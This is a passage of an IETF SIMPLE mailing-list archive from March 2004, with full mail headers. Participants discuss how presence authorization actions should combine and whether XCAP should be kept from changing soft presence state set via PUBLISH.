	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2GLO7416027;
	Tue, 16 Mar 2004 23:24:07 +0200 (EET)
X-Scanned: Tue, 16 Mar 2004 23:23:56 +0200 Nokia Message Protector V1.3.20 2004022613 - RELEASE
Received: (from root@localhost)
	by esdks003.ntc.nokia.com (8.12.9/8.12.9) id i2GLNuRn000544;
	Tue, 16 Mar 2004 23:23:56 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks003.ntc.nokia.com 00BxZIh2; Tue, 16 Mar 2004 23:23:54 EET
Received: from esebh003.NOE.Nokia.com (esebh003.ntc.nokia.com [172.21.138.82])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2GLNrs01889;
	Tue, 16 Mar 2004 23:23:53 +0200 (EET)
Received: from esebe018.NOE.Nokia.com ([172.21.138.57]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Tue, 16 Mar 2004 23:23:51 +0200
x-mimeole: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Message-ID: <E392EEA75EC5F54AB75229B693B1B6A707E7A39F@esebe018.ntc.nokia.com>
Thread-Topic: Presence authorization: confirmation vs. accept-subscription
Thread-Index: AcQLZ3apUjTYzMKSQcuUaEatrRjxPwAMtAnA
To: <jdrosen@dynamicsoft.com>
Cc: <simple@ietf.org>
X-OriginalArrivalTime: 16 Mar 2004 21:23:51.0034 (UTC) FILETIME=[FA003DA0:01C40B9C]
Content-Transfer-Encoding: quoted-printable
Subject: [Simple] RE: Presence authorization: confirmation vs. accept-subscription
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 16 Mar 2004 23:23:50 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.4 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

Jonathan,

I think there are clear problems in the current draft where the actions =
are not orthogonal, nor do they have a "privacy order". For instance I =
would like to define my authorization so that presence is always =
provided to a list of friends, and in case the watcher is not on that =
list, he or she would require confirmation. I don't see any other way to =
do this than having one rule for the friends resulting in =
"accept-subscription", and another rule applying to all watchers that =
would result in "confirmation". Now, if someone on the friends list =
subscribes to my presence, both rules apply.=20

The new proposal (in your mail below) where the actions are have a =
well-defined privacy order makes much more sense. I suggest we adopt it.

BTW, I believe in this case "block" would need to be the default, since =
the strictest privacy should be applied in the absense of any rules. =
Correct?

Markus

> -----Original Message-----
> From: ext Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com]
> Sent: 16 March, 2004 16:57
> To: Isomaki Markus (Nokia-NRC/Helsinki)
> Cc: simple@ietf.org
> Subject: Re: Presence authorization: confirmation vs.
> accept-subscription
>=20
>=20
>=20
> Markus,
>=20
> This is a good comment. Generally, the permissions (actions and=20
> transformations) should ideally be orthogonal. If they're not, its=20
> worthwhile looking into combining them. So, let us look at which=20
> combinations make sense:
>=20
>=20
> confirmation  | accept-sub |  provide-pres | comment
> ------------------------------------------------------------------
>   false           false        false          do nothing - makes sense
>   false           false        true           doesnt make sense - need
>                                               to accept sub to
>                                               provide presence
>   false           true         false          basic polite blocking
>   false           true         true           basic white list
>   true            false        false          pending
>   true            false        true           makes no sense
>   true            true         false          makes no sense
>   true            true         true           makes no sense
>=20
>=20
> So, it seems like there are only a few combinations that make sense.=20
> Perhaps it would be a better idea to combine all three into a single=20
> operation - <sub-handling> and have the following values:
>=20
> block : deny the subscription
> confirm : subscription is pending
> polite-block: accept it, but provide no presence
> allow: accept it and provide presence
>=20
> In terms of privacy, these would be in increasing order of integral=20
> values. That means that if one rule assigns a value of "confirm", and=20
> another "polite-block", the result is "polite-block".
>=20
> Thoughts?
>=20
> Thanks,
> Jonathan R.
>=20
>=20
> Markus.Isomaki@nokia.com wrote:
>=20
> > Hi,
> >=20
> > A short question before commenting further on the semantic presence
> > authorization rules:
> >=20
> > The presence authorization rules draft defines three actions:
> > "confirmation", "accept-subscription" and "provide-presence".
> > "confirmation" is derived from the common policy spec. It says that
> > if there is a "confirmation" action, the subscription is put to
> > pending state and it waits for the rule maker to upload further
> > rules.
> >=20
> > However, what if one matching rule defines the action "confirmation"
> > and another one "accept-subscription" & "provide-presence"?
> > Intuitively (and by the additiveness principle) this means that the
> > "accept-subscription" is the more "liberal" rule, and should be
> > followed. However, there is no text in the draft describing how to
> > combine the actions, only transformations are covered.
> >=20
> > Regards, Markus
> >=20
>=20
> --=20
> Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
> Chief Technology Officer                    Parsippany, NJ 07054-2711
> dynamicsoft
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar 17 03:48:25 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA25981
	for <simple-archive@ietf.org>; Wed, 17 Mar 2004 03:48:25 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3Wiv-0003CZ-00
	for simple-archive@ietf.org; Wed, 17 Mar 2004 03:48:25 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3Wi2-00036B-00
	for simple-archive@ietf.org; Wed, 17 Mar 2004 03:47:31 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3Whh-0002zF-00; Wed, 17 Mar 2004 03:47:09 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3Wha-00006M-O8; Wed, 17 Mar 2004 03:47:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3Wh2-00005N-OA
	for simple@optimus.ietf.org; Wed, 17 Mar 2004 03:46:28 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA25928
	for <simple@ietf.org>; Wed, 17 Mar 2004 03:46:26 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3Wh0-0002y8-00
	for simple@ietf.org; Wed, 17 Mar 2004 03:46:26 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3Wg7-0002rr-00
	for simple@ietf.org; Wed, 17 Mar 2004 03:45:32 -0500
Received: from cluster-b.mailcontrol.com ([217.68.146.190] helo=rly11b.srv.mailcontrol.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3Wff-0002kM-00
	for simple@ietf.org; Wed, 17 Mar 2004 03:45:03 -0500
Received: from gbnewp0186s1.eu.ubiquity.net (news.ubiquity.net [194.202.146.92])
	by rly11b.srv.mailcontrol.com (MailControl) with SMTP id i2H8iLK5002212;
	Wed, 17 Mar 2004 08:44:21 GMT
Received: from mailhost.eu.ubiquity.net by gbnewp0186s1.eu.ubiquity.net
          via smtpd (for cluster-b.mailcontrol.com [217.68.146.190]) with SMTP; Wed, 17 Mar 2004 08:44:17 +0000
X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (wa s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
Message-ID: <45730E094814E44488F789C1CDED27AE0219B21C@gbnewp0758m.eu.ubiquity.net>
Thread-Topic: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (wa s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
Thread-Index: AcQLghAIuMMcsSU6Ts6Xkm/ISHV7jwAePRkQ
From: "Chris Boulton" <cboulton@ubiquity.com>
To: "George Foti (QA/EMC)" <george.foti@ericsson.com>,
        "Jonathan Rosenberg" <jdrosen@dynamicsoft.com>
Cc: <Markus.Isomaki@nokia.com>, <simple@ietf.org>
X-Scanned-By: MailControl A-04-00-00 (www.mailcontrol.com)
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 17 Mar 2004 08:44:22 -0000
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: quoted-printable

Hi George,
	I'm getting a little confused by this thread.  I don't see any
benefit of restricting what 'Hard State' data can be set.  The use of
XCAP and the use of PUBLISH have clearly defined roles.  If a presence
server requires 'Hard state', it goes away and grabs the latest copy
from the XCAP repository.  I can see your point that rogue clients might
use XCAP in a negative manner (e.g. for changing soft state), but this
can be true of many implementations that bend rules.  As long as it is
strongly defined that XCAP is used for Hard state and PUBLISH is used
for soft state, I see no real issue.

Chris.=20


>-----Original Message-----
>From: George Foti (QA/EMC) [mailto:george.foti@ericsson.com]
>Sent: 16 March 2004 18:07
>To: 'Jonathan Rosenberg'
>Cc: 'Markus.Isomaki@nokia.com'; simple@ietf.org
>Subject: RE: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft
(wa s
>RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
>
>> Are you suggesting abandoning PUBLISH? Or just changing the schema to
>> restrict what you can set with xcap?
>
>I would like to change the schema to restrict what you can set with
XCAP.
>That way we minimize the potential misue of XCAP, both by implementors
>and/or end users
>PUBLISH is OK. I see no problems with it.
>The architecture is Ok as well. We need a way to set hard states.
>
>Thnx/gf
>
>>
>> _______________________________________________
>> Simple mailing list
>> Simple@ietf.org
>> https://www1.ietf.org/mailman/listinfo/simple
>>
>
>
>This communication is confidential and intended solely for the
>addressee(s). Any unauthorized review, use, disclosure or distribution
is
>prohibited. If you believe this message has been sent to you in error,
>please notify the sender by replying to this transmission and delete
the
>message without disclosing it. Thank you.
>
>E-mail including attachments is susceptible to data corruption,
>interruption, unauthorized amendment, tampering and viruses, and we
only
>send and receive e-mails on the basis that we are not liable for any
such
>corruption, interception, amendment, tampering or viruses or any
>consequences thereof.
>
>_______________________________________________
>Simple mailing list
>Simple@ietf.org
>https://www1.ietf.org/mailman/listinfo/simple


This message has been scanned for viruses by MailControl - www.mailcontrol.=
com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar 17 03:48:58 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA26004
	for <simple-archive@odin.ietf.org>; Wed, 17 Mar 2004 03:48:58 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3Wiz-0000Lk-Mh
	for simple-archive@odin.ietf.org; Wed, 17 Mar 2004 03:48:30 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2H8mTSA001335
	for simple-archive@odin.ietf.org; Wed, 17 Mar 2004 03:48:29 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3Wiy-0000LO-U7
	for simple-web-archive@optimus.ietf.org; Wed, 17 Mar 2004 03:48:28 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA25993
	for <simple-web-archive@ietf.org>; Wed, 17 Mar 2004 03:48:26 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3Wiw-0003Ce-00
	for simple-web-archive@ietf.org; Wed, 17 Mar 2004 03:48:26 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3Wi3-00036I-00
	for simple-web-archive@ietf.org; Wed, 17 Mar 2004 03:47:31 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3Whh-0002zF-00; Wed, 17 Mar 2004 03:47:09 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3Wha-00006M-O8; Wed, 17 Mar 2004 03:47:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3Wh2-00005N-OA
	for simple@optimus.ietf.org; Wed, 17 Mar 2004 03:46:28 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA25928
	for <simple@ietf.org>; Wed, 17 Mar 2004 03:46:26 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3Wh0-0002y8-00
	for simple@ietf.org; Wed, 17 Mar 2004 03:46:26 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3Wg7-0002rr-00
	for simple@ietf.org; Wed, 17 Mar 2004 03:45:32 -0500
Received: from cluster-b.mailcontrol.com ([217.68.146.190] helo=rly11b.srv.mailcontrol.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3Wff-0002kM-00
	for simple@ietf.org; Wed, 17 Mar 2004 03:45:03 -0500
Received: from gbnewp0186s1.eu.ubiquity.net (news.ubiquity.net [194.202.146.92])
	by rly11b.srv.mailcontrol.com (MailControl) with SMTP id i2H8iLK5002212;
	Wed, 17 Mar 2004 08:44:21 GMT
Received: from mailhost.eu.ubiquity.net by gbnewp0186s1.eu.ubiquity.net
          via smtpd (for cluster-b.mailcontrol.com [217.68.146.190]) with SMTP; Wed, 17 Mar 2004 08:44:17 +0000
X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (wa s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
Message-ID: <45730E094814E44488F789C1CDED27AE0219B21C@gbnewp0758m.eu.ubiquity.net>
Thread-Topic: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (wa s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
Thread-Index: AcQLghAIuMMcsSU6Ts6Xkm/ISHV7jwAePRkQ
From: "Chris Boulton" <cboulton@ubiquity.com>
To: "George Foti (QA/EMC)" <george.foti@ericsson.com>,
        "Jonathan Rosenberg" <jdrosen@dynamicsoft.com>
Cc: <Markus.Isomaki@nokia.com>, <simple@ietf.org>
X-Scanned-By: MailControl A-04-00-00 (www.mailcontrol.com)
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 17 Mar 2004 08:44:22 -0000
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

Hi George,
	I'm getting a little confused by this thread.  I don't see any
benefit of restricting what 'Hard State' data can be set.  The use of
XCAP and the use of PUBLISH have clearly defined roles.  If a presence
server requires 'Hard state', it goes away and grabs the latest copy
from the XCAP repository.  I can see your point that rogue clients might
use XCAP in a negative manner (e.g. for changing soft state), but this
can be true of many implementations that bend rules.  As long as it is
strongly defined that XCAP is used for Hard state and PUBLISH is used
for soft state, I see no real issue.

Chris.=20


>-----Original Message-----
>From: George Foti (QA/EMC) [mailto:george.foti@ericsson.com]
>Sent: 16 March 2004 18:07
>To: 'Jonathan Rosenberg'
>Cc: 'Markus.Isomaki@nokia.com'; simple@ietf.org
>Subject: RE: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft
(wa s
>RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
>
>> Are you suggesting abandoning PUBLISH? Or just changing the schema to
>> restrict what you can set with xcap?
>
>I would like to change the schema to restrict what you can set with
XCAP.
>That way we minimize the potential misue of XCAP, both by implementors
>and/or end users
>PUBLISH is OK. I see no problems with it.
>The architecture is Ok as well. We need a way to set hard states.
>
>Thnx/gf
>
>>
>> _______________________________________________
>> Simple mailing list
>> Simple@ietf.org
>> https://www1.ietf.org/mailman/listinfo/simple
>>
>
>
>This communication is confidential and intended solely for the
>addressee(s). Any unauthorized review, use, disclosure or distribution
is
>prohibited. If you believe this message has been sent to you in error,
>please notify the sender by replying to this transmission and delete
the
>message without disclosing it. Thank you.
>
>E-mail including attachments is susceptible to data corruption,
>interruption, unauthorized amendment, tampering and viruses, and we
only
>send and receive e-mails on the basis that we are not liable for any
such
>corruption, interception, amendment, tampering or viruses or any
>consequences thereof.
>
>_______________________________________________
>Simple mailing list
>Simple@ietf.org
>https://www1.ietf.org/mailman/listinfo/simple


This message has been scanned for viruses by MailControl - www.mailcontrol.=
com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar 17 07:40:28 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA03621
	for <simple-archive@ietf.org>; Wed, 17 Mar 2004 07:40:28 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3aLV-0006Gu-00
	for simple-archive@ietf.org; Wed, 17 Mar 2004 07:40:29 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3aKY-0006AY-00
	for simple-archive@ietf.org; Wed, 17 Mar 2004 07:39:31 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3aKA-00064c-00; Wed, 17 Mar 2004 07:39:06 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3aK5-0006Hs-Vf; Wed, 17 Mar 2004 07:39:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3aJV-0006CL-Pc
	for simple@optimus.ietf.org; Wed, 17 Mar 2004 07:38:27 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA03506
	for <simple@ietf.org>; Wed, 17 Mar 2004 07:38:24 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3aJU-000633-00
	for simple@ietf.org; Wed, 17 Mar 2004 07:38:24 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3aIZ-0005w8-00
	for simple@ietf.org; Wed, 17 Mar 2004 07:37:27 -0500
Received: from imr2.ericy.com ([198.24.6.3])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3aHg-0005j3-00
	for simple@ietf.org; Wed, 17 Mar 2004 07:36:32 -0500
Received: from eamrcnt716.exu.ericsson.se (eamrcnt716.exu.ericsson.se [138.85.90.247])
	by imr2.ericy.com (8.12.10/8.12.10) with ESMTP id i2HCa0fX026980
	for <simple@ietf.org>; Wed, 17 Mar 2004 06:36:00 -0600 (CST)
Received: from eamrcnt750.exu.ericsson.se ([138.85.133.51]) by eamrcnt716.exu.ericsson.se with Microsoft SMTPSVC(6.0.3790.0);
	 Wed, 17 Mar 2004 06:33:56 -0600
Received: by eamrcnt750.exu.ericsson.se with Internet Mail Service (5.5.2657.72)
	id <HCBRYRPZ>; Wed, 17 Mar 2004 06:34:34 -0600
Message-ID: <2DBF697D5B36014ABA46E66A96107DA02C9638@lmc37.lmc.ericsson.se>
From: "George Foti (QA/EMC)" <george.foti@ericsson.com>
To: "'Chris Boulton'" <cboulton@ubiquity.com>,
        Jonathan Rosenberg
	 <jdrosen@dynamicsoft.com>
Cc: Markus.Isomaki@nokia.com, simple@ietf.org
Subject: RE: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (wa
	 s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2657.72)
Content-Type: text/plain;
	charset="iso-8859-1"
X-OriginalArrivalTime: 17 Mar 2004 12:33:56.0109 (UTC) FILETIME=[1D2973D0:01C40C1C]
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 17 Mar 2004 06:34:36 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60


Comments inline Chris.
Rgds/gf
> -----Original Message-----
> From: Chris Boulton [mailto:cboulton@ubiquity.com]
> Sent: Wednesday, March 17, 2004 3:44 AM
> To: George Foti (QA/EMC); Jonathan Rosenberg
> Cc: Markus.Isomaki@nokia.com; simple@ietf.org
> Subject: RE: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft
> (wa s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
> 
> 
> Hi George,
> 	I'm getting a little confused by this thread.  I don't see any
> benefit of restricting what 'Hard State' data can be set.  The use of
> XCAP and the use of PUBLISH have clearly defined roles.  If a presence
> server requires 'Hard state', it goes away and grabs the latest copy
> from the XCAP repository.  I can see your point that rogue 
> clients might
> use XCAP in a negative manner (e.g. for changing soft state), but this
> can be true of many implementations that bend rules.  As long as it is
> strongly defined that XCAP is used for Hard state and PUBLISH is used
> for soft state, I see no real issue.

Yes, thats my concern.
On the other hand there are *no rules* to bend in this case.
It is currently wide open to manipulate everything.
The language in the draft is very weak in that regard.
Changing the schema is one way to put in rules.
But I am opened to the alternative of strengthening the language in an updated version of the draft and to clearly disallow the usage of XCAP for changing soft states.

Another point in the draft that needs to be adequately addressed relates to the how the composer resolve conflicts between different PUAs.
Currently it is left to magic.

Jonathan alluded to the authorization policies in that regard, which I did not read yet, but is definitely the right place for this thing. So may be draft can refer to that and address the issue a bit more as opposed to saying, "the composer will have to figure out how to do that". 
> 
> Chris. 
> 
> 
> >-----Original Message-----
> >From: George Foti (QA/EMC) [mailto:george.foti@ericsson.com]
> >Sent: 16 March 2004 18:07
> >To: 'Jonathan Rosenberg'
> >Cc: 'Markus.Isomaki@nokia.com'; simple@ietf.org
> >Subject: RE: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft
> (wa s
> >RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
> >
> >> Are you suggesting abandoning PUBLISH? Or just changing 
> the schema to
> >> restrict what you can set with xcap?
> >
> >I would like to change the schema to restrict what you can set with
> XCAP.
> >That way we minimize the potential misue of XCAP, both by 
> implementors
> >and/or end users
> >PUBLISH is OK. I see no problems with it.
> >The architecture is Ok as well. We need a way to set hard states.
> >
> >Thnx/gf
> >
> >>
> >> _______________________________________________
> >> Simple mailing list
> >> Simple@ietf.org
> >> https://www1.ietf.org/mailman/listinfo/simple
> >>
> >
> >
> >This communication is confidential and intended solely for the
> >addressee(s). Any unauthorized review, use, disclosure or 
> distribution
> is
> >prohibited. If you believe this message has been sent to you 
> in error,
> >please notify the sender by replying to this transmission and delete
> the
> >message without disclosing it. Thank you.
> >
> >E-mail including attachments is susceptible to data corruption,
> >interruption, unauthorized amendment, tampering and viruses, and we
> only
> >send and receive e-mails on the basis that we are not liable for any
> such
> >corruption, interception, amendment, tampering or viruses or any
> >consequences thereof.
> >
> >_______________________________________________
> >Simple mailing list
> >Simple@ietf.org
> >https://www1.ietf.org/mailman/listinfo/simple
> 
> 
> This message has been scanned for viruses by MailControl - 
www.mailcontrol.com
 

This communication is confidential and intended solely for the addressee(s). Any unauthorized review, use, disclosure or distribution is prohibited. If you believe this message has been sent to you in error, please notify the sender by replying to this transmission and delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, interruption, unauthorized amendment, tampering and viruses, and we only send and receive e-mails on the basis that we are not liable for any such corruption, interception, amendment, tampering or viruses or any consequences thereof.

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar 17 07:41:01 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA03652
	for <simple-archive@odin.ietf.org>; Wed, 17 Mar 2004 07:41:01 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3aLX-0006T9-ST
	for simple-archive@odin.ietf.org; Wed, 17 Mar 2004 07:40:33 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2HCeVuQ024863
	for simple-archive@odin.ietf.org; Wed, 17 Mar 2004 07:40:31 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3aLX-0006Sw-MR
	for simple-web-archive@optimus.ietf.org; Wed, 17 Mar 2004 07:40:31 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA03639
	for <simple-web-archive@ietf.org>; Wed, 17 Mar 2004 07:40:30 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3aLW-0006H7-00
	for simple-web-archive@ietf.org; Wed, 17 Mar 2004 07:40:30 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3aKZ-0006Ai-00
	for simple-web-archive@ietf.org; Wed, 17 Mar 2004 07:39:32 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3aKA-00064c-00; Wed, 17 Mar 2004 07:39:06 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3aK5-0006Hs-Vf; Wed, 17 Mar 2004 07:39:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3aJV-0006CL-Pc
	for simple@optimus.ietf.org; Wed, 17 Mar 2004 07:38:27 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA03506
	for <simple@ietf.org>; Wed, 17 Mar 2004 07:38:24 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
